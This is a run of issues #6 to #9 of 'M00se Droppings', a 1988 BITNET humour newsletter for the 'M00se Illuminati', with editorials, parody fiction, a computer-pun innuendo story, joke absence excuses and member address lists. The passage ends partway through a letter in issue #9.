Xavier chapter BRUGGMNJ @ XAVIER the WILD ONE!!

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DDDD R R OOO0 P P IIIII N N GGGG SSSSS
A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #6 | Disclaimer: The Editor will place almost anything | Aug. 3, 1988
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame him for the quality or content of the submissions.
Excepting those he may have written himself, the enclosed items do not in any
way represent the Editor's opinions. In fact, let's be real safe, and say that
as far as this newsletter is concerned, he has no opinions at all. Okay? Good.
===============================================================================
-----------------------------------------------------------------------------
************************** EDITORIALS AND LETTERS ***************************
-----------------------------------------------------------------------------
Once again, a late and rather small issue of M00se Droppings etc.!
There are a few things to note:
1) Several people have agreed that since they are signed up to
the M00se Illuminati discussion on CSNEWS, and receive M00se Droppings from
there, it would be best to be removed from the normal mailing list. This
is entirely up to you. If you wish to be removed from the normal distribution
network of M00se Droppings, let me or Kamikaze know. Please do so soon,
as Kami has mentioned the M00se Droppings Distribution Network Mark II,
and it would be rotten if he had to remove lots of people from it after
he worked on it.
2) Kami also suggested that, since M00se Droppings is often large,
I provide only updates of the general list every issue, with a separate
mailing of a full list now and then to make sure everybody's up to date.
I intend to take his suggestion; however, since this issue is short and
most of the changes to the list are alterations rather than additions, there
is a full list in this issue. We seem to have lost two members, Cocker
at Governer's School and one of our CTSTATEU chapters. If anybody has
information on these two missing m00ses, act on it as you see fit. We have
also added two members, the Old Dominion U thr0ng. Welcome, and bl00p!
3) GASP! In Autoduel Quarterly issue 6/2, somebody has dared to
write a letter claiming that a group called 'The Illuminati' controls the
Anarchist Relief Front! Since we, of course, control that group, or would
pretend to if we didn't, I suggest a letter campaign directed at Autoduel
Quarterly's ADQ&A department setting them right on this issue. If you're
interested, let me know and I'll send you the address to use. Thank Indiana
Joe for this piece of information.
And now, on with the issue.
PUBLIC RELATIONS OPPORTUNITY
============================
I received a notice yesterday informing me that the tuition for
out-of-state students is increased from $1600 to $1975 per semester
and the per credit hour fee is now $132 instead of $107. Does anybody
out there know whether foreign students who have stayed in NY state for
more than one year claim in-state student status? If not, can the
mOOse or the illuminati do something about this.
Helpppppppppppppppppppppppppppppppppp
desperately yours
ALIEN
-------------------------------------------------------------------------------
******************************* EVENTS AND NEWS *******************************
-------------------------------------------------------------------------------
As some of you may know, Camp Relay II: The Quest For M00se (as I
have heard it called) will be taking place this weekend. Those of you invited,
I'll see you there; those who weren't, sorry, it's a closed party. But
hopefully SOMEBODY will have a giant thr0ng party soon!
The size of this party will probably be such that it will be near
reaching 'critical m00se'.
-------------------------------------------------------------------------------
***************************** FICTION AND POETRY ******************************
-------------------------------------------------------------------------------
Well, here's some fiction. I don't know if it's original or not, so i'm
putting it here. Unfortunately, I forget where it comes from, too. I think
a Maine chapter. Just haven't been that organized since my brakes failed...
Monday, I am going MOOS hunting. It is basically a simple activity,
but requires a good deal of advance preparation. In this business,
catching no MOOS at all is better than catching the wrong MOOS.
There are many different kinds of MOOS, different in both appearence
and disposition. They come in different colors too, but that doesn't
seem to make a whole lot of difference. The hunter must know, before
actually leaving the safety of the hunting lodge, what kind of a MOOS
he wishes to bag. This descision by itself can take many years, but
after a few mistakes, one learns quickly or perishes--MOOS are dangerous
game.
In order to catch a MOOS, you have to have a lure. Appearence is very
important, since a MOOS will tend to gravitate toward what it feels is
the best-looking in a crowd of hunters. Once you have managed to get
the MOOS at close quarters, the job becomes substantially more difficult,
so for the time being I'll talk about appearence preparation.
Clothing is essential. Most MOOS will shy away from naked hunters unless
they know them pretty well already. And in any event, I don't know too
many hunters brave enough to walk around naked in that jungle to begin
with.
As part of MY personal preparations, I first look over my wardrobe. This
is usually very depressing because I rapidly realize that none of my
clothing matches any particular fashion that has either existed in the
past or will exist in the near future. This can be a liability, since
weird clothing tends to attract weird MOOS (if any). Picking out what I
deem to be the best compromise out of the clean clothes pile, I then try
the outfit on. Well, the pants are a little baggy but they're comfortable.
The shirt has to go, though, because it makes me look too undefined. After
about three times through this rigamarole, I usually say "Fuck it" and
throw on an old sweatshirt and faded Bugle Boys (my one concession to the
world of fashion--and only because they're comfortable).
Once you have selected a (usually inappropriate) outfit, it's time to tend to
your bodily appearence. A shower is usually a good idea, because MOOS that
are attracted to excessive body odor are usually not attractive to YOU. After
stepping out of the shower and soaking the bathroom floor, it is necessary to
examine one's self in the mirror for a few minutes to make sure that--in the
unlikely event that you DO bring home a MOOS--that there won't be anything
embarassing showing when you (un)dress it.
During this time, you might bemoan the fact that nature did not endow you
with a more classically handsome facial structure--that is of course unless
you possess such a facial structure already, in which case I have a hammer
at the ready to help you with that problem. Eventually, you convince yourself
that you're not too bad looking--or at least that you're as good looking as
you're going to get without major reconstructive surgery. The stubble is
just at the right length, in any event.
Various personal hygiene activities follow (such as towelling off before you
soak through the floor and start dripping on the kitchen below), each
meticulously performed up to the point where you become disgusted with
performing them and give up.
Hair has always been a problem with me. Not that I have any lack of it, for
indeed it grows copiously on just about every available patch of skin on my
body. However, the hair on my head has always been a problem. After several
combings and rufflings which seem to achieve no effect other than to make
matters worse, I might stare wistfully at the can of Mousse my mother keeps
in the bathroom. But, alas, I made a vow long ago never to use that hideous
stuff, and with one final ruffle I decide to stick with the "windblown" look.
Personal hygiene activities concluded, the next step is putting your clothes
on. For most of us, this presents no major logistical difficulty... But then
again, I have been known to have been last seen hopping down the hallway
with my sneaker caught in my pantleg because I forgot to put my pants on
first.
Once dressed, a final view in the mirror is obligatory to judge the overall
effect. "Hey, not bad at all!" you might say to yourself--but the question
you must keep in mind is "Will it be effective in attracting the type of
MOOS I'm after?" Usually, the answer is "No," but since it is usually too
late to change anything by this point, your only options are to stay home
or throw trepidation to the winds and go out anyway.
Certain kinds of MOOS are attracted by the type of vehicular transportation
you use to get you to the hunting grounds. At one point in my life, I had
a nice, high-performance sports car to use--but ironically at that point in
my life I had no need to hunt for MOOS because I already had one. When that
MOOS went, the car went up for sale and now I have a $600 brown Chevette with
randomly distributed nasty dents. Not the kind of car, as Mr. Picher would
say, that one would use when "Cruising for MOOS."
One of the gravest errors that a MOOS hunter can comit is to hunt alone.
Not only is it more dangerous, but the MOOS will look at you and think that
if you can't even keep the company of another hunter you probably aren't
worth the trouble to investigate further. Another MOOS-hunter folly is to
hunt with someone who is substantially better looking than you are. There
is nothing more discouraging than seeing the MOOS you have in your sights
gravitate toward your hunting partner.
Once you have selected a hunting partner, the next step is finding a
location where you can hunt. Unfortunately, it seems as though any MOOS
"hot spots" are usually targeted by many, many, other hunters as well.
This makes the outcome of a hunting expedition more in doubt, but there
is little to be done for it except to persevere.
When you arrive at the hunting ground, you must set about making yourself
visible. You can do this by shouting "I want MOOS!" at the top of your
lungs, but then you be subsequently visible because there will be a large
area around you which neither hunters or MOOS will cross into.
The whole process after this point becomes too tedious to explain. Usually,
you end up with nothing, or with a MOOS that you decide you don't really
want (which is usually the result of not REALLY knowing what kind of MOOS
you want in the first place). After trying several locations, you and your
hunting partner usually give up and go home.
Of course, this is not to say that you did not enjoy your MOOS hunting
expedition. There seems to be some inner peace that comes from this
communion with nature, some natural tranquility that comes from pursuing
the dreaded MOOS and coming home completely skunked.
Eventually, the wise hunter realizes that active MOOS hunting is not
very fruitful or beneficial. MOOS seem to posses a great sense of irony,
because the good ones usually show up when the hunter isn't putting forth
any particular effort to find one. Unfortunately, the MTBMOOS (Mean Time
Between MOOS) seems to increase proportionately with the quality of the
MOOS. Ahh, well... C'est la MOOS, eh?
-------------------------------------------------------------------------------
*************************** MISCELLANEOUS NONSENSE ****************************
-------------------------------------------------------------------------------
This was sent by the same person, but I'm putting it here in the hopes that
I got at least one of them in the right place.
MR. MICRO MEETS MS. MINI
Micro was a real-time operator and a dedicated multi-user. His broadband
protocol made it easy for him to interface with numerous input/output
devices, even if it did mean time-sharing. His links with authors and
editors connected him with many of Silicon Valley's expert systems and
artificial intelligentsia.
One evening, just as the sun was crashing, he arrived home and parked his
Motorola 68000 in the main drive (he had missed the 5100 bus that morning)
and noticed an elegant piece of liveware admiring the daisy wheels in his
garden. "She looks user-friendly. I'll see if she'd like an update
tonight" he thought to himself.
He browsed over to her casually, admiring the power of her twin, 32 bit
floating point processors. Even her parms were parsed! He hadn't seen
structured lines like this since his prom. "How are you, Honeywell?" he
asked.
"Yes, I am well," she responded, batting her optical fibers engagingly and
smoothing her console over her curvilinear functions.
Mini was her name, and she was delightfully engineered with eyes like COBOL
and a Prime mainframe architecture that set Micro's peripherals networking
all over. Fears of becoming a UNIX were soon fading like vaporware.
Micro settled for the straight line approximation. "I'm stand-alone
tonight, and looking for an assembly," he said. "How about computing a
vector to by base address. I'll output a byte to eat, and we could get
offset later on."
Mini ran her priority process for 2.6 milliseconds then transmitted: "8K,
I've been dumped myself recently and a new page is just what I need to
refresh my discs. I'll park my machine cycle in your background and meet
you inside." She walked off leaving Micro admiring her solenoids. "Wow!
What a global variable! I wonder if she'll like my firmware?" Micro
thought.
That night they sat down at the process table for a form feed of fiche and
chips and a bucket of Baudot. Mini was in a conversational mode and
expanded on ambiguous argument while Micro gave occasional acknowledgments,
although in reality he was analyzing the shortest and least critical path
to her entry point. He finally settled on the old `Would you like to see
my benchmark' subroutine. But Mini was one step ahead. She was suddenly
up and stripping off her parity bits to reveal the full functionality of
her operating system software!!
"Let's get BASIC you RAM, and go for some downtime on the spread sheets,"
she panted. Micro was loaded by this stage; he was afraid his software
wouldn't respond. Fortunately, his hardware policing module had a
processor of it's own and soon was in danger of overflowing it's output
buffer - a hang-up that Micro had recently consulted his analyst about.
"Core!" was all he could say.
Micro soon recovered, however, and Mini went down on the DEC and opened her
device files to reveal her data set ready. His floppy soon was coming up
to speed. He acessed his fully packed root device and was just about to
start pushing into her stack when she executed an escape sequence by
popping back to level 1.
"Oh no!" she piped. "You're not sheilded!"
"Reset, baby," he replied. "I've been debugged."
"I haven't got my current loop enabled, and I'm not ready to support child
processes," she protested. "That would make me mother bored!"
"Don't run away," he said. "I'll generate an interrupt."
"No way! That's too error prone, and I can't abort because of my design
philosophy."
Micro was locked in by this stage, though, and could not be turned off.
She soon stopped his thrashing by introducing a voltage spike into his main
supply, whereupon he fell over with a head crash and went to sleep.
"Computers," she thought as she compiled herself at the asynch. "All they
ever think about is hex."
-------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE **************
-------------------------------------------------------------------------------
Hey, whaddaya know, this is longer than I thought it was. The general
list will follow this issue in the mail. Until next time, Bl00p!

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DDDD R R OOO0 P P IIIII N N GGGG SSSSS
A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #7 | Disclaimer: The Editor will place almost anything | Aug. 15, 1988
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame him for the quality or content of the submissions.
Excepting those he may have written himself, the enclosed items do not in any
way represent the Editor's opinions. In fact, let's be real safe, and say that
as far as this newsletter is concerned, he has no opinions at all. Okay? Good.
===============================================================================
-----------------------------------------------------------------------------
************************** EDITORIALS AND LETTERS ***************************
-----------------------------------------------------------------------------
Hello, all. As I write this, it is the only thing going into the
newsletter. I have received *nothing else*. If I'm going to keep this
thing coming out, I need contributions! Send interesting news, fiction,
anything! I've heard some GREAT ideas from some of you, but they don't
do me or any other m00ses any good unless you write them up and send them
to me!
Which brings me to the next topic. I've asked Sabre to stop forwarding
M00se Droppings to CSBB.M00se, mainly to ease up the load on BITNET that
must occur everytime M00se Droppings gets shot out of there (over 60 rather
large documents....) We DO want to keep using it, though! So here's what
it's for, at least in my opinion. Let's use, as an example, the plea we
had from a person suffering tuition overload, last issue (or was it the
issue before?) The initial document would go through m00se droppings, where
everyone can read it. Any discussion that follows, however, should take
place on csbb.M00se. This way, once a topic is started rolling in M00se
Droppings, it can continue at a much faster rate on CSBB.M00se.
As another example, there is an *extremely* m00sey idea in the works
at our Maine thr0ng. They are (supposedly!) going to write up a proposal
and send it to me, and I will include it in M00se Droppings. But we don't
want to wait for the next issue to come out to see what kind of thoughts
people have about this idea, so we would discuss it on CSBB.M00se. Perhaps
the final version would reappear in M00se Droppings, but all the modification
should be done on CSBB.M00se.
Well, it's now been several days, and I've received two items.
So here comes issue 7......
Bill.
-------------------------------------------------------------------------------
******************************* EVENTS AND NEWS *******************************
-------------------------------------------------------------------------------
None this time, I'm afraid. Except in reference to Camp Relay II.
I discovered, to my bewilderment, that Kamikaze did not, in fact, name it
Camp Relay II: The Quest for M00se. *I* didn't make it up. I don't know
who did. But in any case, that wasn't the official name, it was Camp Relay
II only. There were, however, lots of m00ses there, and we had fun. Perhaps
someone will write up a report? (Hint, hint)
-------------------------------------------------------------------------------
***************************** FICTION AND POETRY ******************************
-------------------------------------------------------------------------------
Again, none here.......
-------------------------------------------------------------------------------
*************************** MISCELLANEOUS NONSENSE ****************************
-------------------------------------------------------------------------------
Couple items for this. Namely:
>it was a sign!
>
>i was at a store today...and i saw tons of mason jewelry...
>and right next to a masonic ring, and cufflinks..there was a m00se.
>weird, huh?
>
>stacey
and:
-------------------- those that have ridden with her, know --------------------
THE ADVENTURES OF A FORD ESCORT..(Or driving with a crazy m00se)..
..(Or The Three wheel drive Ford escort)
The day was the day before this, Sunday August the 14th.
The Subject a blue Ford Escort..name unknown.
The driver a Stacey (Starfire?) strange name..
The passengers two obviously mentally unbalanced people..
calling themselves Sindex and Hobgoblin.
Hi! there, folks! M00selock Holmes here with a report on the strange goings on
of fellow m00ses..
It all started one evening in England when i was seated in my den awaiting the
famous ...oopps sorry..wrong tale...
The day was Sunday the 14th, the time 6:23pm..I was sitting picnicking near a
local reservoir (very m00se like hangout in the hot weather) when all of the
sudden i spotted some fellow m00ses out for a sunday drive. A nice day for a
quiet drive. I sat there drinking my tea in the shade as they tore around a
corner, careening towards a jogger and some kids (it was close by a half an
inch) and passed by in a blur.. I jumped up eager to find out where my fellow
m00se would be heading in such a hurry (spilled my tea too..) and got
into my truck, an orange Isuzu. The chase was afoot! I spotted them going out
of the reservoir and up a dirt road...(in a Ford Escort..incredible;
these americans are such brave people) I mean up! The road went up a hill
and into a field..The music coming from the car durring all of this was
varied...from Lost Boys to the infamous Beetlejuice sound track..
Well, that was too much..The question was were they trying to confuse the world
by showing that a ford escort is really an off road vehicle, or was the car a
transformer?
I put my Isuzu in gear and followed as they went straight into the woods..
The ford escort putted along fine until the road suddenly filled with ruts.
Well, to make a long story short the silly m00ses got themselves stuck good
in the middle of the woods in a ford escort. It was up to me to save the day.
Before i got a chance great clouds of smoke came out of the car..It occured
to me that they were thinking..egads!.. I heard Sindex mutter something about
the car being a three wheel drive car and the next thing i knew all was well..
The ford had transformed into super ford!! Pulling itself outa the ditch it
lurched forwards back down the road, spilling coolant along the way..(well
what do you expect from a Ford?).
Later i found out the folk had been in search of reservoirs that day to
do strange water rituals to escape the heat..(under water bl00ping?)
They ended their day with a chinese food dinner and a few close run-ins with
the local police..
Well thats all for now..Gota Vam00se..
M00selock Holmes......
Starfire:"the question is, what is M00selock Holmes smoking in that pipe?",
"Vanilla beans?" (a weird hallucinagenic substance..)
-------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE **************
-------------------------------------------------------------------------------
Alaska thr0ng JSJPC1 @ ALASKA Jonathan
JSMDG @ ALASKA Martin
Bryn Mawr chapter M_PETTIT @ BRYNMAWR Midland Maniac
Boston University chapter CLXLAUC @ BUACCA Rorshach
Cornell chapter CBRY @ CORNELLA Ladykate
Lansing, NY chapter B45J @ CRNLVAX5 Half-Elf
B45J @ CRNLVAX5 The Innkeeper
Connecticut State U thr0ng CLAFFEY_JOR @ CTSTATEU Indiana Joe
COLANGELO @ CTSTATEU Ken Colangelo
PHINNEY_AVK @ CTSTATEU Phredde
WITHALL @ CTSTATEU Hobgoblin
Hartford thr0ng BANKERT @ HARTFORD Scub
BEAUBIEN @ HARTFORD Sindex
DICKSON @ HARTFORD Pickle/MOON ROACH!
SZIMMERM @ HARTFORD Greymalkin
TANTS @ HARTFORD Scamp
Haverford thr0ng K_KRAVITZ @ HVRFORD Q.
S_BLINN @ HVRFORD Sean Blinn
Loyola thr0ng MARY_BETH @ LOYVAX Mary Beth
PAMELA @ LOYVAX Mommydammit
SETH @ LOYVAX Seth
STASA @ LOYVAX Phoenix
Maine thr0ng BURNS @ MAINE Sabre
IO80034 @ MAINE The Dragon
IO80222 @ MAINE RainMaker
RFK350B @ MAINE Guardian Angel
North Dakota State U. chapter UD140680 @ NDSUVM1 Nathan Irwin
Old Dominion University Thr0ng MRH100C @ ODUVM Frizbog Gordnik
SAB100C @ ODUVM Sandi Bedford
Penn State chapter WCF @ PSUECL Bill Fenner
Stony Brook thr0ng CHOBBIE @ SBCCVM Admiral Lord Nelson
RRKHAN @ SBCCVM Romel
WALL @ SBCCVM Wall
Sweden chapter ICE @ SEQZ51 Ice
Saunacuse thr0ng CRUSSELL @ SUNRISE GypsyLynx
EBLIVING @ SUNRISE Eric Livingstone (sp?)
JBANKERT @ SUNRISE CHAOS Engineer
RABEELER @ SUNRISE Beez
LIBLJR @ SUVM Niniane
Towson State U. chapter S76NING @ TOWSONVX Paul
Trinity thr0ng FANTASYG @ TRINCC Trinity Fantasy Guild
OPER3 @ TRINCC Razz
U California Riverside chapter WATKINS @ UCRVMS Kevin
U of New Hampshire chapter J_BUTMAN @ UNHH Oliver
Villanova thr0ng 054649739 @ VUVAXCOM Satoru Ushiyama
188622462 @ VUVAXCOM Kamikaze
193588131 @ VUVAXCOM Wolverine
580074787 @ VUVAXCOM Fiben
CONS040 @ VUVAXCOM The Doctor
Wesleyan thr0ng AGOLDBERG @ WESLEYAN Damsel
EAUBRY @ WESLEYAN ED
JBLUESTEIN @ WESLEYAN WabeWalker
JVINCENT @ WESLEYAN Lord Rassilon
JDOTY @ WESLEYAN The Keeper
RSIMON @ WESLEYAN Roanic
Washington State U. thr0ng 24945863 @ WSUVM1 Bard
23480853 @ WSUVM1 Ishtar
Xavier chapter BRUGGMNJ @ XAVIER the WILD ONE!!

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DDDD R R OOO0 P P IIIII N N GGGG SSSSS
A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #8 | Disclaimer: The Editor will place almost anything | Aug. 19, 1988
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame him for the quality or content of the submissions.
Excepting those he may have written himself, the enclosed items do not in any
way represent the Editor's opinions. In fact, let's be real safe, and say that
as far as this newsletter is concerned, he has no opinions at all. Okay? Good.
===============================================================================
-----------------------------------------------------------------------------
************************** EDITORIALS AND LETTERS ***************************
-----------------------------------------------------------------------------
THAT'S better. I received a few submissions this week, finally,
and we have a good issue (in my humble opinion as editor). Still waiting
on Sabre's contribution (hint-hint, Sabre!) but since his is extremely m00sey
and dangerous to the world's sanity, it's going to be worth the wait.
However, we must not slack off. Keep the contributions coming, so the
weirdness may continue. Remember, the fall semester is approaching fast,
and I am expecting and hoping that the number of BITNET chapters will explode
into hugeness. We want to welcome them with quality confusion.
Only two new chapters this time, they're listed below. Welcome to the
conspiracy!
And so, on with the issue....
-Pickle.
-------------------------------------------------------------------------------
******************************* EVENTS AND NEWS *******************************
-------------------------------------------------------------------------------
Nothing really, here, but Half-Elf has requested that I make a note
in this issue in reference to Camp Relay II. She claims (I take no sides,
I'm the impartial editor) that it was proven that half-elves are faster
than kamikazes, since the was able to tag him from behind during the football
game. I, for one, can assure all m00ses that half-elves are much harder
than they look, and one should be careful when running into them, if one
wants to move during the following three days without one's muscles screaming.
-Pickle.
-------------------------------------------------------------------------------
***************************** FICTION AND POETRY ******************************
-------------------------------------------------------------------------------
I was preparing this issue when I got an urgent note from Wolverine, saying
(in effect): "Hold the presses!" (I've always wanted to say that.) I
did, and it was well worth it.......
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
Author's Note: The following story doesn't really have anything to do with &
The M00se Illuminati. Although the main characters ARE members of the &
M00se Illuminati, the group they form is NOT sponsored by the Illuminati.... &
&
Or *IS* it? &
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
Four seemingly normal men walk through the path that takes them to
Fall Creek, where they plan to spend the day swimming and relaxing. Unknown
to them, strange toxic chemicals have been recently dumped in the area. When
they dive in, the chemicals interact with their genetic DNA, forming a chain
reaction through their systems. They become.........
THE LARGE MANLY MEN IN WET CLOTHING
=== ===== ===== === == === ========
It was a peacful day at Fall Creek. The sky was crystal blue, the trees
a lush green, the water clear as glass. Suddenly, the stillness was broken
by a booming voice.
"KOW - A - BUUNNGGGGGAAAAAAAAAAAAA!" the voice boomed as a truly large
manly body leapt into the air, curled into a ball of taut muscle and sinew,
and landed in the water with a thunderous crash. Water spewed forty feet
in the air. Sabre swam sputtering back to the surface, huge, bulking muscles
propelling him through the water at amazing speed.
Wolverine treaded water easily and applauded. "A truly manly cannonball,
Sabre!"
"A truly manly compliment, oh Wolverine," Sabre said, bowing his head.
"What a fine manly day it is!"
"Makes one glad to be a manly man," said Guardian Angel.
"A Large Manly Man in Wet Clothing," corrected Alacrity.
"Ah, yes. How stupid of me to foget!" said Guardian Angel.
"Anyway, 'twas a fine cannonball indeed Sabre!" G.A. said.
"Magnificent! Stupendous! Hhmm, what does our moll Dusk think of it?"
Alacrity asked.
Off to the side, sitting on a rock shelf was Dusk, trying her best to
look inconspicuous. 'I don't know these people...I never heard of these
people...I have no idea WHO they are,' she thought. Sighing, she thought,
'Why did I get stuck with them? I don't want to be their "moll"! Ever since
those toxic chemicals had been dumped in here that day, they've been acting
like this. This manly man stuff is driving me batty!'
"Well Dusk, what did you think?" Wolverine asked.
"It was, uh, very manly Sabre," she said.
"Why thank you Dusk! What a womanly thing for you to say!"
Just then, their attention was distracted by a small slide of loose
rocks. As the Large Manly Men in Wet Clothing looked up, they saw three
women in lavishly-done hairstyles, lead by a thin, scuzzy looking man.
The women were being careful to stay out of the spray of the falls, so as
not to wet their hair.
Wolverine gasped. "Good Lord! The Nefarious Hair Girls!"
"And their leader, The Scum Puppy!" Alacrity answered.
"They must have been sent by the Brotherhood of Evil Relayers." Sabre said.
"Shall we attack?" asked G.A.
"Maybe they're here to just swim," offered Dusk.
"Hah! Not the Nefarious Hair Girls!" said Wolverine. "They would NEVER
risk getting their hair wet! They must be planning something."
Just then, The Scum Puppy yelled out, "We know you are here, Large Manly
Men in Wet Clothing! Come out and face us!"
"They have affronted our manly pride and egos." said Sabre. "Manly men,
ATTACK!"
The large manly men leaped forward, hurling massive rocks and tree trunks
at the Hair Girls. As the storm of rocks and trees flew towards them, one
of the Hair Girls, Muffy, pulled out a large can of Super Strength Hair Spray
and sprayed it toward the incoming weaponry. The spray immediately caught
the flying debris, and it dropped into the water in a sticky mass.
"GOOD LORD!" exclaimed G.A.
"Quickly," boomed Wolverine, "assume crouch positions!"
The four manly men crouched down in the water, preparing to spring forward
and pummel their adversaries. As they did, the other two Hair Girls, Babs and
Jennie-Jen, pulled out the world's largest hair dryer, turned the air-speed
to high, aimed it at the Large Manly Men, and turned the switch to on.
Instantly, a large gust of wind swept the Large Manly Men out of the water and
pinned them against the opposite cliff wall.
"Oh No!" yelled Sabre, trying to make his voice heard above the wind.
"Our...our clothes are drying! We'll weaken if our clothes dry!"
"What shall we do!" yelled G.A.
"We'll be helpless at the hands of the Hair Girls! They may give us
fashionable hair cuts!"
"NNNNNNNOOOOOOOOOOOOOOOOOOOOOOOOOOOOO!!!" screamed Wolverine in agony at
the thought of having a yuppie hairstyle.
Suddenly, Dusk had a thought. "Guys! Form a wall! Maybe that will
bounce the air back towards them!"
"That's it!" cried Wolverine. "Quickly! While we still have some of
our manly strength. Crowd together and we will form a wall with our broad,
muscular, manly chests! That should deflect this evil wind!"
Fighting with an effort beyond that of ordinary men, the Large Manly Men
crowded together, forming a wall with their massive pectoral muscles. The wind
from the hair dryer from Hell bounced off them, whipping back toward the
Hair Girls. As it struck, it ruined their hairstyles, knocking their hair down
into hanging, tattered messes. The immediately dropped the hair dryer and
whined in great agony!
"Oh no!" cried Babs. "My hair's absolutely horrid! *SOB*"
"Now I'll have to get it done again, and that's the third time this
MORNING!" whined Muffy.
"Guys!" yelled Dusk. "The Scum Puppy is getting away!"
"Everyone into the water!" yelled G.A.
As one, the four Large Manly Men cannonballed into the water, causing a
veritable tital wave to rise from the water, grabbing The Scum Puppy and
pulling him into the water. Acting quickly, the Large Manly Men tore the
gold chains from the necks of the Hair Girls and shackled them and The Scum
Puppy.
"A job well done, oh fellow Manly Men!" exclaimed Alacrity.
"Truly a Manly Act!" said G.A.
"And credit to our moll, Dusk, for her part!" voiced Wolverine.
"Yeah, uh, thanks guys...can we get out of here now?" asked Dusk.
================================================================================
Author's Note: The author refuses to take responsibility for this story,
as he claims to have been controlled by Demons during the writing of said story.
By: Wolverine
-------------------------------------------------------------------------------
*************************** MISCELLANEOUS NONSENSE ****************************
-------------------------------------------------------------------------------
May I Be Excused?
--- - -- --------
The graduate School of Education at Northern Illinois Universirt,
DeKalb, Illinois, recently collected excuses for absence turned in by students
around the state. A number of these are listed below; the spelling is exactly
as it appeared on the notes:
Dear School: Pleaes eckuse John for been absent January 28, 29, 30, 32,
and 33.
Chris has a acre on his side.
Mary could not come to school because she was bothered by very close veins.
John has been absent because he had two teeth taken out of his face.
I kepe Billie home because she had to go Christmas shopping because I didn't
know what size she wear.
Please excuse Gloria. She has been sick and under the doctor.
My son is under the doctor's care and should not take P.E. Pleae execute
him.
Lillie was absent from school yesterday and she had a going over.
Please excuse Joey Friday. He had loose vowels.
Please excuse Blanch from Jim today. She is adminstrating.
My daughter was absent yesterday because she was tired. She spent the
weekend with the marines.
Please excuse Jimmy for being. It was his father's fault.
Please excuse Dianna from being absent yesterday. She was in bed with
gramps.
Mary Ann was absent December 11-15 because she had a fever, sore throat,
headache, and upset stomach. Her sister was also sick, fever, sore throat,
her brother had a low grade fever and acked all over. I wasn't the best
either, sore throat and fever. There must be something going around -
her father even got hot last night.
Bl00p!
Rich
===============
I have one to add that I am not making up. When my mother was in grade
school in Gouverneur, a backwater town in upstate NY, there was a young
boy a couple years younger than her who everybody called 'Stinky'. That
was his normal nickname, not an insult. Anyway, one day he had to stay
home from school, as he had a nasty case of diarrhea (sp?). The next day
his mother sent him to school with a note that said: "Stinky wasn't in
school yesterday because he had the shits."
-Pickle.
------------------------------------------------------------------------------
Recently someone came up with the idea of using "m00se" as a verb,
meaning to join the M00se Illuminati. I have done a bit of thought and
come up with some other words that every m00se should know.
m00se (v) - 1. to join the M00se Illuminati, 2. to act in a bizzarre manner,
(n) - a member of the M00se Illuminati
m00sey (adj) - bizarre, and attention-getting
thr0ng (n) - a group of m00ses
(v) - the act of grouping
thr0ng-a-thon (n) - a gathering of more than one thr0ng and involving at
least three m00ses. A gathering of two m00ses is commonly
known as a date.
I hope that's cleared up some points of confusion and created some
new ones. Bl00p!!
Joe Claffey
==============
Note: A m00se dictionary might be useful. If anybody comes up with more
m00se terms, send them here and I'll add them in.
-------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE **************
-------------------------------------------------------------------------------
Add to the list:
Connecticut State U thr0ng CRAMER @ CTSTATEU Scopus
UConn chapter WALLFESH @ UCONNVM Sande

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A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #9 | Disclaimer: The Editor will place almost anything | Aug. 26, 1988
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame him for the quality or content of the submissions.
Excepting those he may have written himself, the enclosed items do not in any
way represent the Editor's opinions. In fact, let's be real safe, and say that
as far as this newsletter is concerned, he has no opinions at all. Okay? Good.
===============================================================================
-----------------------------------------------------------------------------
************************** EDITORIALS AND LETTERS ***************************
-----------------------------------------------------------------------------
Fellow m00ses, the time has come to choose which candidates to support
for the oncoming election. We must choose somebody who will uphold the
values of m00sedom, who will promote the cause of confusion, who is easy
for us to manipulate. Let us consider the choices, and discuss this topic
further on CSBB.M00se.
So far as I have been able to determine, our choices are as follows:
George Bush: "I will never apologize for America. I don't care
what the facts are."
Micheal Dukakis: Does anybody have any idea what Dukakis has been
saying?
Bill the Cat: America's ill, but so is Bill.
Zippy the Pinhead: Wears a clown suit, has a talent for evading
topics by going off on obscure tangents. Both
good qualifications for the presidency.
Spuds MacKenzie: Small animal, not as active or as interesting
to look at as the Clydesdales were. Much like
Bush and Dukakis in this respect. Named after
a potato. Bush and Dukakis both resemble potatoes.
Some guy on MTV: The Bavarian Illuminati calls MTV 'Empty Vee'.
They may be right on this point.
If I've left anyone out, let us know on CSBB.M00se. Let the presidential
race begin!
-------------------------------------------------------------------------------
******************************* EVENTS AND NEWS *******************************
-------------------------------------------------------------------------------
Nothing new, once again. However, we have found the m00se who created
confusion with his unofficial subtitle of Camp Relay II. The one I thought
was official, remember?
>I was the one with the term Camp Relay II: The Quest for M00se. It was not
>meant to be an official usage..just a joke that I don't even remember when I
>used it. Sorry for all impending confusion.
>
> Beez
-------------------------------------------------------------------------------
***************************** FICTION AND POETRY ******************************
-------------------------------------------------------------------------------
Once again, none here. I'm considering ripping off Wolverine's idea
and writing a serial based on the members of the M00se Illuminati, but the
problem of having 60 plus characters discourages me....
-------------------------------------------------------------------------------
*************************** MISCELLANEOUS NONSENSE ****************************
-------------------------------------------------------------------------------
There is PLENTY of nonsense this issue! Our first bit is from Mommydammit,
who writes:
>Bill,
>
> on the way way to Lake Winola in Pennsylvania, i noticed something
